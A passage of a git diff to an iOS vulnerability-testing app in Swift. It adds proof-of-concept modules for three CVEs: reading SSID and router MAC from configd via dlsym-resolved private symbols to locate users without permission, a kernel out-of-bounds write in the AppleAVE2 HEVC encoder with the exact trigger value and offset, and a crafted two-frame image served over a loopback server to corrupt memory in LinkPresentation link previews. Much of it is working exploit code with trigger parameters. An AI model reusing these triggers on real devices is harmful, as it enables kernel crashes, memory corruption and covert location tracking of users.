与路由器 MAC(无 wifi-info 权限)", + cve: "CVE-2026-84636", + component: "SystemConfiguration · configd dynamic store", + primitive: .infoLeak, + reach: .systemProcess, + tier: 1, + summaryZh: """ + configd 的动态存储把 en0/AirPort 的 SSID_STR、BSSID、信道、认证方式,以及服务 IPv4 条目里的 ARPResolvedHardwareAddress(路由器 MAC)、Global/DNS、DHCP 租约、蓝牙/热点/AutoUnlock 状态暴露给任意沙盒进程。SCDynamicStoreCreate + CopyValue 不需要 com.apple.developer.networking.wifi-info,也不触发定位权限;而受支持的 CNCopyCurrentNetworkInfo 在同一进程里返回 nil。SSID + 路由器 MAC 足以做 WiGLE/Google 的无线定位(约 10–30 米)。 + """, + notesZh: """ + 模块同时打印两条路径:受支持 API 的返回值与动态存储的原始字典,形成同进程对照。模拟器上 en0/AirPort 通常缺失(macOS 侧网络由 utun 承载),真机连 Wi-Fi 时才有 SSID 与 ARP 条目;缺失也是有效结果 —— 说明该平台把键收敛了。README 记录作者标注为 iOS 27 修复,实测以本机输出为准。 + """, + run: { ctx in + ctx.arm("sc.dynamicstore", "configd read") + var lines: [String] = [] + guard let sc = SCDynamicStoreShim() else { + ctx.fail("sc.dynamicstore", "dlsym") + throw LabError(message: tl("SystemConfiguration 符号解析失败")) + } + guard let store = sc.create("cinder27") else { + ctx.fail("sc.dynamicstore", "create") + throw LabError(message: tl("SCDynamicStoreCreate 失败")) + } + let entitled = CNCopyCurrentNetworkInfo("en0" as CFString) as? [String: Any] + lines.append("CNCopyCurrentNetworkInfo: " + (entitled.map { "\($0)" } ?? "nil")) + + func value(_ key: String) -> [String: Any]? { + sc.copy(store, key) as? [String: Any] + } + let airport = value("State:/Network/Interface/en0/AirPort") + lines.append("en0/AirPort: " + (airport.map { "\($0)" } ?? "")) + let ssid = airport?["SSID_STR"] as? String + let global = value("State:/Network/Global/IPv4") + lines.append("Global/IPv4: " + (global.map { "\($0)" } ?? "")) + var routerMAC: String? + if let uuid = global?["PrimaryService"] as? String { + let svc = value("State:/Network/Service/\(uuid)/IPv4") + lines.append("Service IPv4: " + (svc.map { "\($0)" } ?? "")) + routerMAC = svc?["ARPResolvedHardwareAddress"] as? String + } + for key in ["State:/Network/Global/DNS", + "com.apple.MobileBluetooth", + "com.apple.MobileInternetSharing", + "com.apple.sharing:/AutoUnlock/Enabled", + "State:/IOKit/LowBatteryWarning"] { + lines.append("\(key): " + (value(key).map { "\($0)" } ?? "")) + } + if let keys = sc.keys(store, "State:/Network/.*") as? [String] { + lines.append("State:/Network keys: \(keys.count)") + } + ctx.disarm("sc.dynamicstore", "ssid=\(ssid != nil) mac=\(routerMAC != nil)") + let headline: String + if let ssid, let routerMAC { + headline = "SSID=\(ssid) · router=\(routerMAC)" + } else if ssid != nil { + headline = tl("SSID 可读 · 路由器 MAC 缺失") + } else { + headline = tl("动态存储无 AirPort 条目(本平台/未连 Wi-Fi)") + } + return ModuleOutcome(headline: headline, detail: lines.joined(separator: "\n"), + evidence: [tl("同进程 CNCopyCurrentNetworkInfo = nil"), + tl("SSID + 路由器 MAC = 无定位权限的无线定位")]) + }), + ] +} + +// MARK: - shared helpers + +private func fourCC(_ v: OSStatus) -> String { + let n = UInt32(bitPattern: v) + let b = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)] + if b.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: b, encoding: .ascii)! + "'" } + return "\(v)" +} + +private func aveSession() -> (VTCompressionSession?, OSStatus) { + var session: VTCompressionSession? + let st = VTCompressionSessionCreate(allocator: kCFAllocatorDefault, + width: 1280, height: 720, + codecType: kCMVideoCodecType_HEVC, + encoderSpecification: nil, + imageBufferAttributes: nil, + compressedDataAllocator: nil, + outputCallback: nil, + refcon: nil, + compressionSessionOut: &session) + return (session, st) +} + +private func aveSet(_ s: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus { + VTSessionSetProperty(s, key: key as CFString, value: value) +} + +private func aveRead(_ s: VTCompressionSession, _ key: String) -> String { + var out: CFTypeRef? + let st = VTSessionCopyProperty(s, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out) + guard st == 0, let v = out else { return "copyErr=\(st)" } + return "\(v)" +} + +private func lpSolid(_ w: Int, _ h: Int, _ r: CGFloat, _ g: CGFloat, _ b: CGFloat) -> CGImage? { + let cs = CGColorSpaceCreateDeviceRGB() + guard let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8, + bytesPerRow: w * 4, space: cs, + bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else { return nil } + ctx.setFillColor(red: r, green: g, blue: b, alpha: 1) + ctx.fill(CGRect(x: 0, y: 0, width: w, height: h)) + return ctx.makeImage() +} + +/// HEIC first (the advisory format); TIFF served as image/gif is the fallback that +/// still decodes as independent pages when the platform cannot encode HEIC. +private func lpContainer() -> (data: Data?, label: String, mime: String) { + for (type, label, mime) in [(UTType.heic, "heic", "image/heic"), + (UTType.tiff, "tiff", "image/gif")] { + let out = NSMutableData() + guard let dest = CGImageDestinationCreateWithData(out, type.identifier as CFString, 2, nil) else { continue } + guard let f0 = lpSolid(256, 16, 0.90, 0.10, 0.10), + let f1 = lpSolid(256, 48, 0.10, 0.20, 0.90) else { continue } + CGImageDestinationAddImage(dest, f0, nil) + CGImageDestinationAddImage(dest, f1, nil) + guard CGImageDestinationFinalize(dest) else { continue } + if lpFrameSizes(out as Data).count == 2 { return (out as Data, label, mime) } + } + return (nil, "", "") +} + +private func lpFrameSizes(_ data: Data) -> [(Int, Int)] { + guard let src = CGImageSourceCreateWithData(data as CFData, nil) else { return [] } + let n = CGImageSourceGetCount(src) + var out: [(Int, Int)] = [] + for i in 0.. UInt16 { + let ready = DispatchSemaphore(value: 0) + listener.stateUpdateHandler = { state in + if case .ready = state { ready.signal() } + } + listener.newConnectionHandler = { [weak self] conn in self?.serve(conn) } + listener.start(queue: .global()) + _ = ready.wait(timeout: .now() + 5) + return listener.port?.rawValue ?? 0 + } + + func stop() { listener.cancel() } + + private func serve(_ conn: NWConnection) { + conn.start(queue: .global()) + conn.receive(minimumIncompleteLength: 1, maximumLength: 8192) { [weak self] data, _, _, _ in + guard let self, let data, let head = String(data: data, encoding: .utf8) else { + conn.cancel(); return + } + self.lock.lock(); self.served += 1; self.lock.unlock() + let path = head.split(separator: " ").dropFirst().first.map(String.init) ?? "/" + if path.hasPrefix("/pic") { + self.respond(conn, body: self.image, type: self.mime) + } else { + let page = """ + + + + cve-2026-112621 + """ + self.respond(conn, body: Data(page.utf8), type: "text/html") + } + } + } + + private func respond(_ conn: NWConnection, body: Data, type: String) { + var out = Data("HTTP/1.1 200 OK\r\nContent-Type: \(type)\r\nContent-Length: \(body.count)\r\nConnection: close\r\n\r\n".utf8) + out.append(body) + conn.send(content: out, completion: .contentProcessed { _ in conn.cancel() }) + } +} + + +/// SCDynamicStore is private on iOS — the public SDK marks it unavailable. The symbols +/// still live in SystemConfiguration, and configd answers an unentitled process, which +/// is the whole point of the CVE. Resolve them by name. +private final class SCDynamicStoreShim { + typealias CreateFn = @convention(c) (CFAllocator?, CFString, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?) -> CFTypeRef? + typealias CopyFn = @convention(c) (CFTypeRef, CFString) -> CFPropertyList? + typealias KeysFn = @convention(c) (CFTypeRef, CFString) -> CFArray? + + private let createFn: CreateFn + private let copyFn: CopyFn + private let keysFn: KeysFn + + init?() { + guard let h = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW) else { + return nil + } + guard let c = dlsym(h, "SCDynamicStoreCreate"), + let v = dlsym(h, "SCDynamicStoreCopyValue"), + let k = dlsym(h, "SCDynamicStoreCopyKeyList") else { return nil } + createFn = unsafeBitCast(c, to: CreateFn.self) + copyFn = unsafeBitCast(v, to: CopyFn.self) + keysFn = unsafeBitCast(k, to: KeysFn.self) + } + + func create(_ name: String) -> CFTypeRef? { + createFn(nil, name as CFString, nil, nil) + } + + func copy(_ store: CFTypeRef, _ key: String) -> CFPropertyList? { + copyFn(store, key as CFString) + } + + func keys(_ store: CFTypeRef, _ pattern: String) -> CFArray? { + keysFn(store, pattern as CFString) + } +} diff --git a/Sources/ModuleText.swift b/Sources/ModuleText.swift index 03db30c..2cfbe71 100644 --- a/Sources/ModuleText.swift +++ b/Sources/ModuleText.swift @@ -511,5 +511,52 @@ enum ModuleText { notes: """ Four channels at 8 bits each, while declaring bitsPerPixel = 8. """), + + // MARK: arrivals (112705 / 112621 / 84636) + + "ave.ntl": Row( + title: "AppleAVE2 temporal-layer property surface (NumberOfTemporalLayers)", + summary: """ + The HEVC compression session forwards NumberOfTemporalLayers verbatim to the AppleAVE2 driver, which indexes a fixed-size layer table by the declared value. 16463 walks past the table: the first frame submit writes at a fixed offset in AppleAVE2 (+0xDA78) and the kernel data-aborts; 16462 survives. iOS 27.2 refuses the property at SetProperty with -12900. This module only covers the property surface — session, EncoderUsage=1, RCMode=20, NTL write and readback — and submits no frame. + """, + notes: """ + The fire module submits the frame. The same driver is reachable on macOS: 16463 returns 0 at SetProperty there and reads back normalised to 1, so the value is accepted but not propagated; a frame submit still risks the host kernel. That is why the host builds this file but never executes the encode path. + """), + + "ave.ntl.fire": Row( + title: "AppleAVE2 temporal-layer out-of-bounds write (fire: one frame)", + summary: """ + The full 112705 trigger: HEVC session → EncoderUsage=1 → RCMode=20 → NumberOfTemporalLayers=16463 → one frame. On iOS 27.0–27.1 the driver writes past its table while preparing that frame, the kernel data-aborts and the device reboots. Nothing returns in-process: the evidence is the processDied verdict on the overview after reboot and the panic .ips in Analytics. + """, + notes: """ + Tap only on a device that is allowed to reboot. The simulator has no AVE2 hardware encoder, so encode only returns a status there; do not run the equivalent C encode path on macOS (same driver, panics the host). On 27.2 the property is refused at SetProperty and fire returns -12900 cleanly. + """), + + "lp.heic": Row( + title: "LinkPresentation two-frame size mismatch (pool accounting)", + summary: """ + LPAnimatedImageTranscoder configures its video writer from frame 0's pixel size, while encodeNextFrame takes the draw width/height from the current decoded frame and draws into the pool allocated for frame 0. A 256×16 then 256×48 container makes CGContextClearRect clear 48 rows (49,152 bytes) into a 16,384-byte pool — 32,768 bytes past the end. This module only builds the container and checks frames against pool capacity; it does not transcode. + """, + notes: """ + Width must stay equal: CoreGraphics rejects a width that exceeds the pool's row stride, so a 512-wide second frame fails at CGBitmapContextCreate and never reaches the clear. HEIC is the advisory carrier; when the platform cannot encode it the module falls back to TIFF delivered as image/gif — LPImage's _isAnimated trusts the response MIME, ImageIO still identifies the content. + """), + + "lp.heic.fire": Row( + title: "LinkPresentation link-preview out-of-bounds write (fire: loopback + LPMetadataProvider)", + summary: """ + The public delivery path: a loopback endpoint serves one HTML page and one image, the page's og:image points at the two-frame container, and LPMetadataProvider fetches it. LinkPresentation reads the page, fetches the image, builds the pool and enters LPAnimatedImageTranscoder. iOS 27.0/27.1 writes out of bounds on the transcoder queue and dies with SIGBUS/SIGSEGV; 27.2 compares the current frame with frame 0 in encodeNextFrame and fails the transcode without drawing. + """, + notes: """ + This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved. + """), + + "sc.dynamicstore": Row( + title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)", + summary: """ + configd's dynamic store exposes en0/AirPort (SSID_STR, BSSID, channel, auth type) and the service IPv4 entry's ARPResolvedHardwareAddress (router MAC), plus Global/DNS, DHCP leases and Bluetooth/hotspot/AutoUnlock state, to any sandboxed process. SCDynamicStoreCreate + CopyValue needs no com.apple.developer.networking.wifi-info and triggers no location prompt, while the supported CNCopyCurrentNetworkInfo returns nil in the same process. SSID plus router MAC is enough for WiGLE/Google wireless geolocation (~10–30 m). + """, + notes: """ + The module prints both paths side by side: the supported API's answer and the raw dynamic-store dictionary. The simulator usually has no en0/AirPort entry (the Mac side runs on utun); a real device on Wi-Fi supplies SSID and ARP. An absent key is still a valid result — it means the platform converged the surface. + """), ] }